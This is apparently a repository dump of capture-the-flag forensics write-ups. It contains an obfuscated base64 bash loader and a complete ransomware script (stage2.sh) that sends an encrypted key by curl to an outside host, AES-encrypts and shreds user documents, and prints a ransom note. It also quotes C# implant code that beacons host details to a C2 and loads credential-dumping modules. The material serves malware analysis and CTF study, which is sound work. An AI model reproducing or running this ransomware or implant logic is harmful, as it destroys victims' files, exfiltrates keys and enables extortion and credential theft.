'KkmZKkmZJoQMgQXa4VWCJoQZ5gTMUV3MidFRGB1b4VUCJogblhGdgsTXgISKnB3ZgYXLgQmbh1WbvNGKkICI41CIbBiZplgCuVGa0ByOd1FIiIzM0MzM2kjN2cjclB3bsVmdlRmIg0TPgISKp1WYvh2doQiIgs1WgYWaKoQfKQVbuN2NyIHRzI1Vul2RxEGUuBjdJogNvV1Q51mQQdUdHlkTNFTRQlVTNlgCNlle0J2cUNkNG5EWBNzN4hUTGVXCKsHIpgSZ5gTMUV3MidFRGB1b4VkCK0nCG9URJoQLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLtkQCK4SZulGbkFWZkBycphGdgM3cp1GI09mbg8GRg4CdmVGbgMXehRGIuVGdgUmdhhGI19WWg4ycpBSZyVGa0BCLlNnc192YgY2TJkQCK8TZulGbkFWZkBSYgUmclhGdgMXSgoSCJogLzJXZud3bgwWdmRHanlmcgMXdvlmdlJHcgMHdpByb0ByajFmYgMWasVmcgUGa0BibyVHdlJHI0NXdtBSdvlHIsQ3clJHIlhGdgQHc5J3YlRGIvRFIusmcvdHIm9GIm92byBHIzFGIkVGdwlncjVGZgUmYg4WYjBibvlGdjVmZulGIyVGcgUGbpZGIl52Tg4ycu9Wa0NWdyR3culGIyV3bgc3bsx2bmBSdvlHImlGIkVWZ05WYyFWdnBSJwATMgMXagMXZslmZgIXdvlHIn5WayVmdvNWZSlQCJowPzVGbpZGI51GIyVmdvNWZyByb0BydvhEIqkQCK4SeltGIlRXY2lmcwBic19GI0V3boRXa3BSZsJWazN3bw1WagMXagQXagsTblhGdgQHc5J3YlRGIvRHI5F2dgEGIk5WamByb0ByZulWeyRHIl1Wa0Bic19WegUGdzF2dgQ3buBybEBiLkVGdwlncj5WZg4WZlJGIlZXYoBSelhGdgU2c1F2YlJGIlxmYpN3clN2YhBicldmbvxGIv5GIlJXYgMXZslmZgIXdvlHIm9GI0N3bNlQCJowPkVmblBHchhGI0FGaXBiKJkgCFJVQX10TT5UQSBCTBlkUUNVRSJVRUFkUUhVRg4UQgklQgQURUBVWSNkTFBSRSFEITVETJZEISV1TZlQCK0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLJkgCG9URg0CP8ACdhNGIgACIKsHIpgCVt52Y3IjcENjUX5WaHFTYQ5GM2pgC9pAWjdVMNdWdVZjQyUTUoREI0V2cuVXCKkgCl52bklgCpZWCgASCKwGb152L2VGZv4jMgISakICI11CIkVmcoNXCJACIJoAbsVnbvYXZk9iPyAiIpRiIgYTNyMVRBBybnxWYtIXZoBXaj1SLgMWayRXZt1Wez1SLgADIkZWLlNXYyhGczNXYw1SLgAXY5UTYuISakICIv1CIzVWet0CIoNGdhJWLtAyZwdGI8BCWjdVMNdWdVZjQyUTUoREJg8GajVWCJACIJogblhGd70VXgoiIuoiIqASPhASfptHJgs1WgYWaJkgCvRWCKsjchJnLqAien5iKggnYktmLqAiZkBnLqACej9GZuoCIj9GZuoCI0hHduoCIulGIpBicvZWCKkAIgoAcoBnL2NWZy9ycldWYrNWYw9SbvNmLsxWY0Nnbp1SawlHcuMXZslmZv8iOzBHd0hGIiU0bkJHamx2RkFncmZ2ZxBkIgknch5Wai1SY0FGZt0CIUN1TQBCdzVWdxVmct0CIsJXdjlAIgoQYoFmYzgGMQFHRsh1Z4JFI11CIkVmcoNXCKASYoFmYzgGMQFHRsh1Z4JFIl1CIF9GZyhmZsdEZxJnZmdWcg8WLgISeltUbvNnbhJlIgIXLgMXZ51SLgg2Y0FmYt0CInB3ZJoQYoFmYzgGMQFHRsh1Z4JFI+ACWjdVMNdWdVZjQyUTUoREJg8GajVWCKA2Jux1JgQWLgIHdgwHI2EDIu1CIkFWZoBCfgcSXdpTb15GbhpzWbdCIv1CIwVmcnBCfg02bk5WYyV3L2VGZvAycn5WayR3cg1DWjdVMNdWdVZjQyUTUoRUCKsHIpgiNvV1Q51mQQdUdHlkTNFTRQlVTNpgC9pAdzVnc0BiI5V2St92cuFmUiASeltWL0lGZl1SLgADIkZWLk5WYt12bj1SLgcGcnBCfgIibclnbcVjIgUWLg8GajVWCKQncvBXbp1SLgcGcnBCfgUGZvNWZk1SLgQjNlNXYiBCfgoGZPl3MLdzb0UmV5pGb0RCIvh2YllgCi0TPRxEdwMFT0NHMRBFerF1ZrZlUMJUeRpEerFlVCZUSRRWRVdWUrRlRxMFT0BzUMt0Y6ZVcGhFULV1VZhFewkFWWNjWDRmMTNzb3NWNJZlVWJVVWZDaxsEcO1WZIJ1RXBlQUZldNpWU0YkblNjTIdVNJd1YRJlMT9kSy4kNWRlUysmeM9EZV9kcodlUIRmRWxkVXJ2SKNDZCR2aTFjWtN2SjR0VahmaiVzZxwUUoh0T3BnbaVTUxMFVoBDT2RTRi5EbzQmc4c0V0BHbkdFaYNleOhkUuxWRaVjUtZlUSZUZzJkVUZFZw0UNCp2Y4R2VhRnWXlVdS12QHh2VOFTRGZlS0VVTytWVaRHdyMFMKh1VMJFWU5EaE9EdaFTUhlTRUNnTF1Eao1WYws2MidFZHplc0VlTzc2Vhh3cTVWeR52VxYlRV9mS6Z1aGdkYMB3dLVFbwM2dNJjYDRGVjFXNws0VKBDTxIkVhhkRFNVNzNlTzxmajdlWqNla0NlW1c2RiBnWyEWS5MUVwQ2ahhFbXVVawhVZL5ESlNnWXpFb4BDTVRmeLt0Zwolaxc1URJkai9GZEJ2dFVVYzEERXRjTX50bCxWUyUFMkZEdpN1dv52V0p0RhtEZGJGMZ5mWopFST9UOtVFRSpXW2Q3RjxmU6VFc4tWW1UlaOBDZsNUY0NEZ1cmRTdHZqRlcJVVVZxWMUdnSzQ1d3JjYvhGMWZVOVNmWkNTYMhWVUxUMtVFcoREZF5kMLpFdHJVRKRkW2tWbOFlUUFlcFxmU2NWMiZnRz0UdwFlTLRmbU9WOTVVNSRUZzAnMTpkTVJmTONjYI5kbilnWwQldopGVxJleUhkQ6JFcoZFV1c3VN5mVFdld0AzYLBnVhl3aFFWNwc1UGR3RiNTRtJGUWZUVL1UVXBDbXVmVwZVWKZlekZkWrNGW1U0V4pEWOJTUVVGcSdUYLh2aahUO5R2VoV1UthWbadnUwIVcWd1YRVzaUlkVU9kTShVUzYUVPJEcGJmWWFzUxM2aD9kTH1kdFFTYu5UVRNDZzIFRONDT4V0RVRnRrJlW4d1VWRXVOhUNwk1d4M1UDZEMRVjTUNlVw12UPFzahxGZsJlRWVVYHR2VR5mTrFlbKtWU5NWVVBHcnFlQGZVUTZUVVVlVIF2MGpnU1oURShlQW9Ub0NUT4plaOVnTYVGeNpWYMRmMOVFcYJWMNZlWXBnba5mUINVNBpXW6pFWjpnTXpVTO5WZxZkbR1mRXl1SnNjWOBHSP1mUu1EeFRkY4plVhJzZVdlck5WTExGSTBFdtNVNKR0VDxWRjdEcFZFTk1WY5hGWl5mQ6JlWaFzY0oVbl1kQY5UNGRUTEVzVPhGcwImexs2Q1cmMMNlTrN2MGVlYxMmaS9mV6JWWxcUYwpkRlRDdFFGVwtWYChGMkRnUXNGSshlUzY0RjBHewkFMoVUVFhHMZREZyskdRJjYohnMVpHMFVlN1s2Y29WUR5kWxUFVkhEZ6NGSTpnWtJ2T0dVUHhXRhREcsRlNKpnYJp1MLpnWrNVNwdlYLZUbZBHayY1TOBTWMRXaNBnQuFWYoxWTQ5URShGaqR1cWZVZo5ERltEMHVFdkhVTWVDMVBzZYJlejpHTCJFbXdXWzM2RsNzYqRmRkZ3axIlQONjWzoUVVBlVWJWeztmVE5ERlJUOH1kbsR0T2RDMW9GbUF2T1AzSNxmekNkQqNEbad1UoRmVOZkUuJmcvxmYulTVU1mWIJlSaZ0UuZURadnRXR2TatWTCxWViFHZwEFMFxWYXp0aSRkSVFmMsVFZ6lDMTRDZWlVerZ1VshWMiVnRtR2dwFkTSZlaaVDarZVNJt2YwsmbOpGbVpVUsJTVOZFbV9mQIV1QaZVThplbjZlSEJldZh1VIBnbTpGZF9Uas5WVYRWVlNnRqNFewNjTVlzaXBDcGJFdSVkTLFkRkVUNtZVaodUVzgGVWJjWVJ1cwhVUGBXbjxkSwMmW0tmURlzaahHNXJleOVkYEhWblVzZwQGSapWZxh3VVNjSGVVMORlTwRWMWpnRYNGMwNjYUpUbDRVMtRmdwclTMZUVUZEZzsUWKh1TaZVRNplRV5kcwAjUxQXVkVHZxQWTopXV1kkaaRjUIJ2QkRlWIJFSV5kUx4kcn1mV6JleNpmT6VFSaJTU5pESkJ3bBJGeOZkYV5ERkVjStFmSxATWqJ1MVlFaId1SC5mT6hzURhkTsVGdKpWVyUVMUFDMXNVdCxWVxolVNNUMrRmW4VkWs50ROFlWIVWeZhlYzMmVlFFZ610SZ5mTEhHMWFGbX5UV5c0TxgHMaFTSWpVerdkTsB3ajdEbI1kMOp2U3RGMNFzbYpFdSVFZEhGbZ1kUFRFWWBjUuhHMW5kUrFWesZlWLh3aNZUOH1ERS52QJhWVahlUWlVMadUZ0RWRX9kUwU1V1U1TXpVRhtEcupFdCFjUVVzVTtkRUVWekZUZDRWMZBHZxQFUCNTUGpkRiJHZFFGM0NVZtplRkNVODdlbWdVUVB3dTFzdHJWWsdVT0oURiNlVGZlNatGVrpUVUBzYsFmMjhkTTxGMhZjQE1UY0dlYzh3RhRTWUZlM4V0UYVzaZVFcrlFWkpnUIhnMiJHbtlVNjZUZoZUbUt0aGJ1MOhkV5dWMSBnRUdlcVh0VZlzUkNHctRWN4IDVvp0VTllWupVNnpHTXJlbTlkTrVFbGJjYZp0aURTTsNFN0JzSOxmRNlXVsJGeOZlUyUkbjBDasNUMsdkWyFkaTdnVtp1dB5WTYp1RahnUtlFbOVkU1xWbTdVOVZlSORlYrJVRlpkU65EWOhlTzIEWaZXMHJmcnd0TCh2aWpXQuFVVxs2YRZVRNRkVVJlRwdGVwQmRUVnWEFGeVRlWrZEVlhmVyklRkNDZ1kkbTNjVyoldoREZRxGMhRTVwolSopXU2hGWidlRzEWMOVkV0okMhplWVVlRk5WWoZEMWlkUysESstWYLNGRlVEasRmWCNDZhRmaOFTS6pld0IzY2YlRlhXU6xERCpWWxolVhNlQzEWaCpHZTlzQSNlTwMlQGBjWZxWVVJkVXNlUGVkUKRWbSZEbwQGRsBTYu50aDdFbxolQoBjWS5URUZFZYFVasBDZydGbjVzaxElVk1mVwpkRjJnSH10MKFDTxZVVRpEbrpVcGxGV0Jkek5kWqd1VGZVVKRWMaVkRwMlRkhlUGJleZJEcnNlMRtWWvVzaNlmTY5UNG1WYHRWVZJkRq1UawhlTYxmVlRjUVNVMZxWTUJFWPlXTXR2RxclVrZEbZJkRVJlUWVVU0AzVOFHZU5ESOdlYzU1aZJFbYV1SzVUTYlzahdnSVNmasxWV2RXbRhHOTNmQ1cVW6t2MMVlV6tUYkh0Vrp1VXFFdHRmevZVV4N3VNJTWHVmR5U1YyRmaUJEZERFeNFDVDpkaWBDaqN2Qat2Q4tmVkZXNrFlRoNDVMpkMUtmTuNlQKVVT0MmeTtmRsJlWS1mYNpEWXhXRsFmVxU1VaxWVT5WOD5ESCpnYGpVVSBVNF5ETsV0TUJFVTRzZE9ENVd0Tx82dNBzYU5kcJ5GZ5d3VihXVz0EdCRFZvJFSjZEaXRGcahkV2gmRi1mRwE2dZ1WUwJEWOpmSrNmM4UkT2p1VZ9EZIdVWONDZzIEWS9mRWNGMnRlVth3aNt0bI1EW0l3UrhWRkZXSuRWU41mVHljMMhmWGR1b01WU6h2ROVFZHNVbwJTVL5UbOZVODNmeWVUVHpFWZVjTVFlUsNjWPxGVjBDazYVMNVVZUx2MVlGbsNEeS1WVWhHMWlFeVJmQOhVYtx2VNdXUwQmd0ADTTZ0MjNHZV1EaGJjWzYFRONTT6RmWSh1VUZURa9kSqVlcFhVUpJEWaREbIVmesBTTuZkeZdFbFJGawFlTJh3aXVDbXNlVOxGVwUVVjpXSW10cONDZSx2aUVkT6ZldBRUYyg2VTJTREJFNvZ0YHZlVPtGdH1Uc1IDTVp1aSRDbYdVY0tmWZRGWZVkRw4EMjR1YLl1MOllTFNWNwdkWNlTeNlnTU50VwVUT0kjMLhkTWd1MnpWT6RWMWBlWrZVMFNTU2lEbiJDdH9Uc0lWYEhWRhRTRG5EdGVkTuxmVlBDa6tkMOR1UpZ1aDNDcyE1RkBjY5NHMN1EetJVWaBTVsZURPdXV6p1MsNjUIZEbR5kWwMWRshVY1JkbW5kRuFWYOpmV2YVVSpEbEJFWSVVUFpEMjZXRUlVUktWUPRWVVRHcnNEdwMFT0BTeTRUOFR1QCN1VGRXRJREbFR1QWZUVnFUMSFlQpRlSkVlUDFzUMRHMTxkI9oGZPl3MLdzb0UmV5pGb0lgC7BSKo0UW6RnYzR1Q2YkTYF0M3gHSNZUdKg2chJ2LulmYvEyI 2 | ' | r";HxJ="s";Hc2="";f="as";kcE="pas";cEf="ae";d="o";V9z="6";P8c="if";U=" -d";Jc="ef";N0q="";v="b";w="e";b="v |";Tx="Eds";xZp="" 3 | #x=$(eval "$Hc2$w$c$rQW$d$s$w$b$Hc2$v$xZp$f$w$V9z$rQW$L$U$xZp") 4 | echo "$Hc2$w$c$rQW$d$s$w$b$Hc2$v$xZp$f$w$V9z$rQW$L$U$xZp" 5 | #eval "$N0q$x$Hc2$rQW" 6 | echo "$N0q$Hc2$rQW" 7 | -------------------------------------------------------------------------------- /forensics/bashic_ransomware/stage2.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | gen_ransom_key() { 3 | tljyVe4o7K3yOdj="LS0tLS1CRUdJTiBQR1AgUFVCTElDIEtFWSBCTE9DSy0tLS0tCgptUUdOQkdQYTEvc0JEQURXRDlJRUV6VjNaanFNVnBuaXlEc0ZNQlFHR3l3ZzUwOEFlU0ZYRmxMM0syb0dGQ2p3CkViSTN2Kzh0eVlnNEFtNFE4aEhDaitqOGt2blIvQ3E1VkZPV1dzMjg3WVNHK294MEpWNTNyMy9MZGp5cENYN3YKcTc0N0FEYXdYZktaWXl4RkZUL25qMGtkOVVGcFo4RDE2SWh2aDAvVzNETklRd3NsMVIzcUU0TlNVSWl5WkxINQphbElWYzFnM0lzeHlDZXBiQXErUjJOZEFTWXRZdzM3NDV3Z2FhMUdsc3FSL04vd0QwMWlmaXNBbUxYV0xVUmRxClliU3lTeUM1V3h0cTlOZ3lRQUN5YXZGUEVzcC9VNmNKU2pmSGdUNGhzQmtoTFZhL29GVmxQdnIvdEhkSytXMHoKMkxmVTg0cVFoRXB3d3NYWHdOYWZvNE82ckJjNXBpQmYwa0FmbFh6VHZpdWhFcHRodTBtM3UxbWwydnIrNTc0Mwo1OGU4ODg4STRTOElLNE5PRUZFbzBHNC9nSUlZWU1ValExWXJMbmRZRlFkSzc4MUJBSnNkT2JLT3hFQk5vdVkxCkZCcjh0VjJCT1MxTDdBTjdrcU9FeGY2MWsxUVozdGtQWWZkWHdaKzVUL3kzYW5BcS8xQmtvUlljcUJwak9XMEsKUXlRYkU3bWNHNTdqNW04QUVRRUFBYlFkVW1GdWMyOXRTMlY1SUR4eVlXNXpiMjFBYUdGamF5NXNiMk5oYkQ2SgpBYzRFRXdFS0FEZ1dJUVFWWjZNdzBtTlFqZklJQUVqL1J3MGJrcFJpVmdVQ1k5clgrd0liQXdVTENRZ0hBZ1lWCkNna0lDd0lFRmdJREFRSWVBUUlYZ0FBS0NSRC9SdzBia3BSaVZ1YjBDLzQxeFV6c24vZzI1Njdad3BZdlhEeDcKaklHK2RIV0FhYndFUUZZa2J4VEN1a3FWbXhvQzhJZ0U4a0lQdDhvZ2V3SnI5d3dFY2VheTFkZTUxaDZuTFd0TgpFRUVDMEVQck1UQnAzVkhBOGgrbG1vZXB3NXNXNzRJeERkbTNJVU9WSmluRENlYmRxZGZXMnAwZmVwSjArZGl1Clh0cnE2RVNxblUyMFlNK2t4SlM4TkJYb2FlUkNISnRWLzg5ZnZYSWJoT285dmpsdS9YWHUrWTFpR1gyVHN3RFkKTmFheFc5Ymlrb2xHRzdXYkpUYk5XSEx2VTY4aGxsbWtaMDB6a0lSNHc2alc0TUJkTkZ6VFVSbEJ4MWlYbGw1SwpUQWVnWC9SdFZmeSt0aEdrbFJFQ3BPT1dpY1dCeFdyeTFKSW5UR1BtZnpKaEZWOU5WU0ROWEdteGZ1YVRXZUhICnRDMG9FMkxKZVlyakRNV0xnR0VXTERMYlhDdURtZXo1M0dwSjN2MHlGckplNGkyZVI1Z0x1OG9UNWlaV0xDNnYKMzdQeVc3bXYyeHZQNGNlZExZdk1CMVZ1UlBuSW01T1U2UjJtelNHQS8zNnBKWHhYU3RjY01JamJ5dDNUbFNxbAordHJyQ2ZHUzNjMzRzVmgrN1RNUHRHZTdCbHR4ZjI5UzhMd1dudUt1R00rNUFZMEVZOXJYK3dFTUFLNW0vdm1TCmJTb3p0cXFzV1dpNTN1UFJ3UWxqejZHd0g5emhDbENzRW4xZk9QRktZc0JLcmpFQXpsRUZ2VTh3UGhiVm5EdFAKNERtRFp0Wk9UN3pxSjFseUdXUnliOEdjSnpHWXYvRDJVcnZaMVZCUHBoUlVNU2lQZUljNnk0ckI5Vkh5ZjVRNApwdmFub1hlWVkyYVd4S09zdUl2aUJDRkJWalE0Q0dqbUlBMkZOdWFwZEFnSFZJRHZmTU9nblorbnRFNVdhSWZlCjBCdzlMK05OaTloV04vODlnMG9BeDNDVksybVVPUUJ3Z3NBR1kvdFdjc3lGc3YwWlRBLzczRXg0U05VMXdtUG0KeDNheVVsTjhhRENPMlhaanBpMitLY0NOV2hpYmFKbWp5SkZzK3ZIbzJ6TlpDaExGQWtObmZzSHczdHdTU1ZNQQovck56UE0zU2xhb2QvK2dDY0xEUEh0Y0xpcGF3RXlHcWRtd0hBakpTaEt4eFJpaG1YbzVoRjc1bUF3ckNSL2g5Ck1zb0phOW5DMDF5NXBMemZ4c1ZZRzBneXhyamdLVEpGcElCWDJ5SmtPSHlDMndrWUg2aVZxbDExMnRmOHpNZ3gKYWFmQnFqenNMZWNzcXZzYzA5SHRnZnpWZVM1bXpUN2dLajMxeXNuNjZxMCtmOVBXREJ5RzF3aHVUUUFSQVFBQgppUUcyQkJnQkNnQWdGaUVFRldlak1OSmpVSTN5Q0FCSS8wY05HNUtVWWxZRkFtUGExL3NDR3d3QUNna1EvMGNOCkc1S1VZbFpBOUF3QXRNOTVITk5QcWVqR0RwZmhmSUhWdy9HZkhKaGRpeUQ2NXJxWE5XckZFdzVJYVpVeWl0WUMKUFVPbmE3bGtFSW05aEkyaVpKc04vWEVnMWw5TVhpRzBHTzRqTjhvT0ZybnNHb3NNbUNJS2p3eDR5US9oTndKNQpuM3Fvb1cvRlErQTRQNmkvZDJERGtZK2NEdDhpUm1LTUhLa3dZcU9VV0hob2wwT3JwT1lYUUIrTjdwSFg5dCtaCld0NjU5YkxpUzRlcGt6YzRDUm9OSHZhZnY0bFdKaGJtWnowSitFd0U2QlBoNWN4WDA3aUEwbDdobjBQSW1jZ0gKKzdUL0xlZWZseHNKeXpiUWlXakd0UC9Ia2ZpbGg5ZStjSjZWcjlsNSs5SEFHaVB1L0JWK05qcTdCb2Mwc0lUKwpLbGFkVzJoUFV1WnQyeSsxaWg3NUtrZGdWb3k0amhhMENsTE9aQ1ZtODhNTXRLWXJ0S2ttZUkrMUtJVFE1NWhGCmRuYWZtaWdxcjB5M0dVTVBseFRRVmR5ZElnRHNzSXhWdlptWG8rd3lNbE4vL0hTS1Q5ZnpwOHhQL1g5bjhZWDcKcmZ1SkdBd3JKbWVLVFdHRWhrOUdOLzk2RTV6N2JOS2RQcWI5WHN3enF4QjMvVTBPWGRHemNpK1h6VURVVVI5cwo3S2dCZ3VXY0xXYWUKPXFqVzcKLS0tLS1FTkQgUEdQIFBVQkxJQyBLRVkgQkxPQ0stLS0tLQ==" 4 | echo $tljyVe4o7K3yOdj | base64 --decode | gpg --import 5 | echo -e "5\ny\n" | gpg --command-fd 0 --edit-key "RansomKey" trust 6 | } 7 | 8 | encrypt_files() { 9 | random_key=`strings /dev/urandom | grep -o '[[:alnum:]]' | head -n 16 | tr -d '\n'` 10 | echo $random_key > RxgXlDqP0h3baha 11 | gpg --batch --yes -r "RansomKey" -o qgffrqdGlfhrdoE -e RxgXlDqP0h3baha 12 | shred -u RxgXlDqP0h3baha 13 | curl --request POST --data-binary "@qgffrqdGlfhrdoE" https://files.pypi-install.com/packages/recv.php 14 | 15 | for i in *.txt *.doc *.docx *.pdf *.kdbx *.gz *.rar; 16 | do 17 | if [[ ${i} != *"*."* ]];then 18 | echo $random_key | gpg --batch --yes -o "$i".a59ap --passphrase-fd 0 --symmetric --cipher-algo AES256 "$i" 2>/dev/null 19 | shred -u "$i" 2>/dev/null 20 | fi 21 | done 22 | 23 | unset random_key 24 | } 25 | 26 | print_banner() { 27 | cat <<- EOF 28 | -------------------------------------------------------------------------- 29 | YOUR FILES ARE ENCRYPTED BY AN EXTRATERRESTRIAL RANSOMWARE 30 | * What happened? 31 | Most of your files are no longer accessible because they have been encrypted. Do not waste your time trying to find a way to decrypt them; it is impossible without our private key. 32 | * How to recover my files? 33 | Recovering your files is 100% guaranteed if you follow our instructions. One file per infection can be decrypted as proof of work. To decrypt the rest, you must return the relic back to its previous rightful owners. 34 | * Is there a deadline? 35 | Of course, there is. You have ten days left. Do not miss this deadline. 36 | -------------------------------------------------------------------------- 37 | EOF 38 | } 39 | 40 | infect_machine() { 41 | gen_ransom_key 42 | encrypt_files 43 | print_banner 44 | } 45 | 46 | if [[ "$(whoami)" == "developer7669633432" ]]; then 47 | if [ -x "$(command -v gpg)" ]; then 48 | infect_machine 49 | exit 1 50 | fi 51 | fi 52 | 53 | -------------------------------------------------------------------------------- /forensics/extraterrestrial_persistence.md: -------------------------------------------------------------------------------- 1 | # Extraterrestrial persistence (very easy) 2 | For this challenge we get a bash script. 3 | 4 | We have a base64 encoded string inside the script which is decoded and installed as a service. 5 | 6 | ``` 7 | W1VuaXRdCkRlc2NyaXB0aW9uPUhUQnt0aDNzM180bDEzblNfNHIzX3MwMDAwMF9iNHMxY30KQWZ0ZXI9bmV0d29yay50YXJnZXQgbmV0d29yay1vbmxpbmUudGFyZ2V0CgpbU2VydmljZV0KVHlwZT1vbmVzaG90ClJlbWFpbkFmdGVyRXhpdD15ZXMKCkV4ZWNTdGFydD0vdXNyL2xvY2FsL2Jpbi9zZXJ2aWNlCkV4ZWNTdG9wPS91c3IvbG9jYWwvYmluL3NlcnZpY2UKCltJbnN0YWxsXQpXYW50ZWRCeT1tdWx0aS11c2VyLnRhcmdldA== 8 | ``` 9 | 10 | Let's decode it an see what it hides. 11 | ``` 12 | [Unit] 13 | Description=HTB{th3s3_4l13nS_4r3_s00000_b4s1c} 14 | After=network.target network-online.target 15 | 16 | [Service] 17 | Type=oneshot 18 | RemainAfterExit=yes 19 | 20 | ExecStart=/usr/local/bin/service 21 | ExecStop=/usr/local/bin/service 22 | 23 | [Install] 24 | WantedBy=multi-user.target 25 | ``` 26 | 27 | The unit description shows us the flag. 28 | -------------------------------------------------------------------------------- /forensics/interstellar_c2/94974f08-5853-41ab-938a-ae1bd86d8e51.dat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sbencoding/htb_ca2023_writeups/916ed9209cb7fc0f58cc1f3f66cf27111314b898/forensics/interstellar_c2/94974f08-5853-41ab-938a-ae1bd86d8e51.dat -------------------------------------------------------------------------------- /forensics/interstellar_c2/README.md: -------------------------------------------------------------------------------- 1 | # Interstellar C2 (hard) 2 | For this challenge we get a traffic capture file. 3 | So let's open this in wireshark. 4 | 5 | One of the first packets we see is an HTTP request for some powershell file. 6 | I have saved this in `stage1.ps1` 7 | I didn't deobfuscate this file, because it wasn't too hard to see what was happening. 8 | * A file named `94974f08-5853-41ab-938a-ae1bd86d8e51` is downloaded 9 | * A new AES cipher is created key and iv in the file, hard coded 10 | * The decrypted content is saved in the temp folder under some hard coded filename 11 | * The file is executed 12 | 13 | Now I go back to wireshark to extract this encrypted file from packet 62. 14 | I have also created the `grab.py` to decrypt this file. 15 | The AES cipher uses padding by default even though it is not explicitly set in the powershell stage. 16 | The result is saved to `stage2.bin`. 17 | 18 | The resulting binary is a .NET assembly, let's load it into ILSpy 19 | It will jump through some setup code and then call the `primer` function. 20 | 21 | First it will use a predefined key and send some basic information about the host to the C2 22 | ```cs 23 | string text4 = array[i]; 24 | string un = $"{userDomainName};{text};{environmentVariable};{environmentVariable2};{id};{processName};1"; 25 | string key = "DGCzi057IDmHvgTVE2gm60w8quqfpMD+o8qCBGpYItc="; 26 | text3 = text4; 27 | string address = text3 + "/Kettie/Emmie/Anni?Theda=Merrilee?c"; 28 | try 29 | { 30 | string enc = GetWebRequest(Encryption(key, un)).DownloadString(address); 31 | text2 = Decryption(key, enc); 32 | } 33 | catch (Exception ex) 34 | { 35 | Console.WriteLine($" > Exception {ex.Message}"); 36 | continue; 37 | } 38 | ``` 39 | 40 | Then the server responds with some setup information to our bot. 41 | 42 | ```cs 43 | Regex regex = new Regex("RANDOMURI19901(.*)10991IRUMODNAR"); 44 | Match match = regex.Match(text2); 45 | string randomURI = match.Groups[1].ToString(); 46 | regex = new Regex("URLS10484390243(.*)34209348401SLRU"); 47 | match = regex.Match(text2); 48 | string stringURLS = match.Groups[1].ToString(); 49 | regex = new Regex("KILLDATE1665(.*)5661ETADLLIK"); 50 | match = regex.Match(text2); 51 | string killDate = match.Groups[1].ToString(); 52 | regex = new Regex("SLEEP98001(.*)10089PEELS"); 53 | match = regex.Match(text2); 54 | string sleep = match.Groups[1].ToString(); 55 | regex = new Regex("JITTER2025(.*)5202RETTIJ"); 56 | match = regex.Match(text2); 57 | string jitter = match.Groups[1].ToString(); 58 | regex = new Regex("NEWKEY8839394(.*)4939388YEKWEN"); 59 | match = regex.Match(text2); 60 | string key2 = match.Groups[1].ToString(); 61 | regex = new Regex("IMGS19459394(.*)49395491SGMI"); 62 | match = regex.Match(text2); 63 | string stringIMGS = match.Groups[1].ToString(); 64 | ImplantCore(text3, randomURI, stringURLS, killDate, sleep, key2, stringIMGS, jitter); 65 | ``` 66 | 67 | The most interesting here is the `NEWKEY` field, which is going to set the symmetic key for further communication. 68 | 69 | Let's discuss a bit about how the encrypt/decrypt protocol works. 70 | The cipher: 71 | * AES CBC 72 | * Padding: Zeros - pad with zeroes until proper length is reached 73 | * Block size: 128 74 | * Key size: 256 75 | 76 | Message layout: 77 | * 16 bytes - IV 78 | * Rest - encrypted message content 79 | 80 | Now that we know how the encryption is carried out we can decrypt the parameters sent by the C2. 81 | I wrote the `dec_command.py` script to carry out this task. 82 | The encrypted response I have saved from wireshark in the `first_command` file. 83 | The decrypted output is in `c2_init_config`. 84 | Inspecting the config file we know the new key that will be used for the rest of the communication. 85 | 86 | Next up the bot will call the `ImplantCore` function, which will start periodically polling the server with `GET` requests for potential commands. 87 | 88 | ```cs 89 | if (!text.ToLower().StartsWith("multicmd")) 90 | { 91 | continue; 92 | } 93 | string text2 = text.Replace("multicmd", ""); 94 | string[] array = text2.Split(new string[1] { "!d-3dion@LD!-d" }, StringSplitOptions.RemoveEmptyEntries); 95 | string[] array2 = array; 96 | ``` 97 | 98 | The bot will only execute commands starting with `multicmd`. 99 | Then it will split on some pre-defiend string and process the commands one-by-one 100 | 101 | ```cs 102 | foreach (string text3 in array2) 103 | { 104 | taskId = text3.Substring(0, 5); 105 | cmd = text3.Substring(5, text3.Length - 5); 106 | // ... 107 | } 108 | ``` 109 | 110 | The first five characters will be the task ID of the command, and the rest is the actual command. 111 | The taskID is probably used by the C2 to keep track of which commands are replied to by the bot once the command finishes. 112 | I have written the `decmd.py` script that will decrypt and interpret the `multicmd` response sent by the server. 113 | 114 | I have dumped `cmd{1..3}.enc` packets from the C2, from wireshark. 115 | These are from the HTTP replies that correspond to `GET` requests, are considerably large and contain the proper base64 reply. 116 | Many HTTP replies seem to be there as a distraction either just saying `200 OK` or some random HTML with base64 looking strings, I have ignored these. 117 | 118 | 1. The first command seems to load 2 modules and then invoke the `loadpowerstatus` command. 119 | 2. The second command loads another module and then `run-dll` on the SharpSploit.Credentails class 120 | 3. The third command grabs a screenshot 121 | 122 | Module loading base64 decodes the input, and then loads the assembly into the current context 123 | ```cs 124 | string s = Regex.Replace(cmd, "loadmodule", "", RegexOptions.IgnoreCase); 125 | Assembly assembly = Assembly.Load(Convert.FromBase64String(s)); 126 | Exec(stringBuilder.ToString(), taskId, Key); 127 | ``` 128 | 129 | `run-dll` will call the `rAsm` function which will look into the assemblies in the current application domain and execute the one that matches the input. 130 | 131 | Oddly enough `loadpowerstatus` and `get-screenshot` do not seem to correspond to any predefined commands. 132 | ```cs 133 | string text4 = rAsm($"run-exe Core.Program Core {cmd}"); 134 | ``` 135 | 136 | In this case the `else` branch is executed and `run-exe` will be called on the `Core.Program` assembly. 137 | `run-exe` works similarly to `run-dll` the difference being that dll allows a member function to be called, whereas exe calls the entrypoint in all cases with the input passed in the first argument to the entrypoint. 138 | 139 | At this point I had a choice to make, either dive into the assemblies (3 of them) or look into how the client responds to the C2. 140 | For some reason my intuition told me to look into how replies work, but it also could have been the case that the flag was hiding in one of the assemblies. 141 | 142 | To send replies from the client to the C2 the `Exec` function is called. 143 | ```cs 144 | if (string.IsNullOrEmpty(key)) 145 | { 146 | key = pKey; 147 | } 148 | string cookie = Encryption(key, taskId); 149 | string text = ""; 150 | text = ((encByte == null) ? Encryption(key, cmd, comp: true) : Encryption(key, null, comp: true, encByte)); 151 | byte[] cmdoutput = Convert.FromBase64String(text); 152 | byte[] imgData = 